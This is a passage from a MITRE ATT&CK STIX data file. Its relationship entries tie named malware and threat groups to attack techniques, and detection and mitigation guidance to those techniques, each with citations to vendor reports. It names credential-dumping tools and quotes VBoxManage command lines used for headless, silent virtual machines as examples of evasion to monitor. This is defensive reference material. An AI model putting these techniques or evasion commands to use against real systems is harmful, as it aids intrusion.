2019)","relationship_type":"uses","source_ref":"malware--dfa03c7d-79ed-4ce2-b9d1-ddc9dbf56ad2","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--088ed15f-46da-4b32-a182-68553c61f09b","type":"relationship","created":"2019-04-01T15:06:38.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Xiaopeng Zhang. (2017, May 3). Deep Analysis of New Emotet Variant – Part 1. Retrieved April 1, 2019.","url":"https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-1.html","source_name":"Fortinet Emotet May 2017"}],"modified":"2020-03-30T02:52:04.537Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has been observed encrypting the data it collects before sending it to the C2 server. (Citation: Fortinet Emotet May 2017)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6dbac0dd-ebd3-49dc-bbef-d5a7fd464e02","type":"relationship","created":"2019-01-30T15:19:14.965Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/","source_name":"Unit42 Azorult Nov 2018"},{"description":"Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside","source_name":"Proofpoint Azorult July 2018"}],"modified":"2019-07-26T23:22:28.557Z","description":"[Azorult](https://attack.mitre.org/software/S0344) can download and execute additional files. [Azorult](https://attack.mitre.org/software/S0344) has also downloaded a ransomware payload called Hermes.(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)","relationship_type":"uses","source_ref":"malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ecba3572-741f-4b9f-8d4e-a44d9b648ae6","created":"2022-03-30T14:26:51.866Z","x_mitre_version":"0.1","external_references":[{"source_name":"Shadowbunny VM Defense Evasion","url":"https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/","description":"Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Consider monitoring for commands and arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. <code>-silent</code>, <code>-ignore-reboot</code>), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. <code>VBoxManage startvm $VM --type headless</code>).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. <code>VBoxManage.exe setextradata global GUI/SuppressMessages \"all\"</code>). Monitor for commands which enable hypervisors such as Hyper-V.","modified":"2022-04-14T16:25:42.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f5f463d9-d604-406e-89f3-dbf26ef74a69","type":"relationship","created":"2020-05-08T19:27:12.526Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Inception November 2018","url":"https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/","description":"Lancaster, T. (2018, November 5). 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(2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-29T16:46:48.463Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has accessed Registry hives ntuser.dat and UserClass.dat.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cab80c28-2715-45d4-8d30-993b5050ead6","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor newly executed processes that may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f7226d7-6980-402a-b10e-e81b50c7ee09","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east","description":"Davis, S. and Caban, D. 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Alert (TA17-318A): HIDDEN COBRA – North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.","url":"https://www.us-cert.gov/ncas/alerts/TA17-318A"}],"modified":"2020-03-27T20:45:20.309Z","description":"[FALLCHILL](https://attack.mitre.org/software/S0181) can delete malware and associated artifacts from the victim.(Citation: US-CERT FALLCHILL Nov 2017)","relationship_type":"uses","source_ref":"malware--fece06b7-d4b1-42cf-b81a-5323c917546e","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f8411e1-71c2-46da-a789-9403c4b1f967","type":"relationship","created":"2022-01-05T16:16:01.347Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco Group 72","description":"Esler, J., Lee, M., and Williams, C.. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.","url":"http://blogs.cisco.com/security/talos/threat-spotlight-group-72"},{"url":"http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","source_name":"Novetta-Axiom"}],"modified":"2022-01-07T15:31:48.584Z","description":"(Citation: Cisco Group 72)(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a4105315-b63d-47c9-9526-3dd388d892b4","type":"relationship","created":"2020-05-19T17:32:26.401Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Agent Tesla April 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/","description":"Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020."}],"modified":"2020-05-20T13:38:07.120Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) has the ability to decrypt strings encrypted with the Rijndael symmetric encryption algorithm.(Citation: Malwarebytes Agent Tesla April 2020)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abb3f2e2-0c57-437e-b64c-3069822b4ba2","type":"relationship","created":"2019-06-21T18:12:47.748Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-01-17T16:51:52.275Z","description":"Restrict read/write access to systemd unit files to only select privileged users who have a legitimate need to manage system services.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72b1c4ab-81ca-47a4-a541-ceb44580c87b","type":"relationship","created":"2020-06-23T19:53:58.405Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html","description":"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.","source_name":"FireEye FIN7 Aug 2018"},{"source_name":"Flashpoint FIN 7 March 2019","url":"https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/","description":"Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019."},{"url":"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html","description":"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.","source_name":"FireEye FIN7 Aug 2018"}],"modified":"2020-06-24T19:03:20.236Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) used JavaScript scripts to help perform tasks on the victim's machine.(Citation: FireEye FIN7 Aug 2018)(Citation: Flashpoint FIN 7 March 2019)(Citation: FireEye FIN7 Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a35b72d-f238-4214-8bd1-91b768ab277b","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","source_name":"Forcepoint Monsoon"}],"modified":"2019-07-11T13:53:06.147Z","description":"(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"malware--85b39628-204a-48d2-b377-ec368cbcb7ca","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d50a6bf2-266b-4770-809a-c1bf3e81305f","type":"relationship","created":"2021-09-27T20:37:38.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Qakbot May 2020","url":"https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files","description":"Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021."},{"source_name":"Kroll Qakbot June 2020","url":"https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks","description":"Sette, N. et al. (2020, June 4). Qakbot Malware Now Exfiltrating Emails for Sophisticated Thread Hijacking Attacks. Retrieved September 27, 2021."},{"source_name":"Crowdstrike Qakbot October 2020","url":"https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/","description":"CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021."},{"source_name":"Trend Micro Qakbot December 2020","url":"https://success.trendmicro.com/solution/000283381","description":"Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 2021."},{"source_name":"Cyberint Qakbot May 2021","url":"https://blog.cyberint.com/qakbot-banking-trojan","description":"Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021."},{"source_name":"Group IB Ransomware September 2020","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp","description":"Group IB. (2020, September). LOCK LIKE  A PRO. Retrieved September 27, 2021."}],"modified":"2021-09-30T15:45:57.476Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can use VBS to download and execute malicious files.(Citation: Trend Micro Qakbot May 2020)\n(Citation: Kroll Qakbot June 2020)(Citation: Crowdstrike Qakbot October 2020)(Citation: Trend Micro Qakbot December 2020)(Citation: Cyberint Qakbot May 2021)(Citation: Group IB Ransomware September 2020)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1308cf20-40b9-4163-bb68-b3f08b0f53b8","type":"relationship","created":"2020-03-12T19:11:05.236Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"}],"modified":"2020-03-12T19:11:05.236Z","description":"[Proton](https://attack.mitre.org/software/S0279) persists via Launch Agent.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31bd2260-ef8d-4f69-a7a8-9388e0d721c9","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. 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Retrieved March 24, 2016.","url":"https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"}],"modified":"2019-06-24T17:08:51.596Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) is capable of taking screenshots.(Citation: Securelist BlackEnergy Nov 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6157e239-92a8-427f-ba9b-2f06f5b03f12","type":"relationship","created":"2020-11-30T17:38:40.968Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. 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(2018, October 15). Octopus-infested seas of Central Asia. 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(2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019."}],"modified":"2020-03-30T02:56:46.748Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used RC4 encryption before exfil.(Citation: Securelist Kimsuky Sept 2013)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--eb67e50e-84ac-495d-8374-547ef1f34f4f","created":"2020-11-05T15:54:26.041Z","x_mitre_version":"1.0","external_references":[{"source_name":"Netscout Stolen Pencil Dec 2018","url":"https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/","description":"ASERT team. (2018, December 5). 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Retrieved March 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has gathered credentials using [Mimikatz](https://attack.mitre.org/software/S0002) and ProcDump.(Citation: CISA AA20-301A Kimsuky)(Citation: Netscout Stolen Pencil Dec 2018)(Citation: KISA Operation Muzabi)","modified":"2022-04-12T18:21:23.235Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1abf4f3f-85e7-4bd1-9432-bddd40a0ad75","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OopsIE! 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Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications.","modified":"2022-04-19T23:58:54.229Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96","target_ref":"attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9a8ca137-d0ec-4861-ad1b-0686bf6ac4c9","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-02-18T22:06:29.632Z","relationship_type":"mitigates","source_ref":"course-of-action--a98be93b-a75b-4dd4-8a72-4dfd0b5e25bb","target_ref":"attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08dd36a7-dee0-4f25-b3dc-d030c32151f5","type":"relationship","created":"2020-02-05T19:34:05.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-02-09T15:58:04.966Z","description":"Enable application control solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b9f4c6ef-d0bd-4651-9445-4705e1fd85f2","type":"relationship","created":"2017-05-31T21:33:27.031Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. 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(2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-28T12:47:25.828Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) has used a Python tool named klog.exe for keylogging.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8377ce6-74bc-4115-8298-57da0f828e5a","type":"relationship","created":"2019-06-13T16:38:06.135Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html","description":"Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.","source_name":"Graeber 2014"},{"url":"https://technet.microsoft.com/en-us/library/dn408187.aspx","description":"Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.","source_name":"Microsoft Configure LSA"}],"modified":"2020-01-24T15:43:25.427Z","description":"Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL</code>, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)","relationship_type":"mitigates","source_ref":"course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1","target_ref":"attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f27f75b5-824d-43c9-a029-247d7d44ec8f","type":"relationship","created":"2022-03-25T00:25:48.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Security Affairs SILENTTRINITY July 2019","url":"https://securityaffairs.co/wordpress/88021/apt/croatia-government-silenttrinity-malware.html","description":"Paganini, P. (2019, July 7). Croatia government agencies targeted with news SilentTrinity malware. Retrieved March 23, 2022."}],"modified":"2022-03-25T00:25:48.843Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can determine if an anti-virus product is installed through the resolution of the service's virtual SID.(Citation: Security Affairs SILENTTRINITY July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--65cf270c-174f-4733-a755-35e2171a529c","type":"relationship","created":"2020-01-14T01:28:32.277Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-01-14T01:28:32.277Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7bde54d7-257c-4c68-920e-bd78fe282f14","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. 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(2018, October 11). Joint report on publicly available hacking tools. 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(2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-29T15:52:55.594Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) can use services to establish persistence.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--442cf157-2812-4c62-8a6c-c12c6a207b1c","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). 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(2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."}],"modified":"2020-03-20T01:52:07.175Z","description":"[njRAT](https://attack.mitre.org/software/S0385) can launch a command shell interface for executing commands.(Citation: Fidelis njRAT June 2013)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf672181-ef16-4d3a-a587-9ac82ac87b8a","type":"relationship","created":"2021-04-25T21:45:21.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). 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(2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. 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(2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."}],"modified":"2020-05-08T17:01:36.122Z","description":"[Silence](https://attack.mitre.org/groups/G0091) can create, delete, or modify a specified Registry key or value.(Citation: Group IB Silence Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2113f4b-eae4-43a0-bddb-5b6c015d5bf0","type":"relationship","created":"2021-03-12T15:58:49.257Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 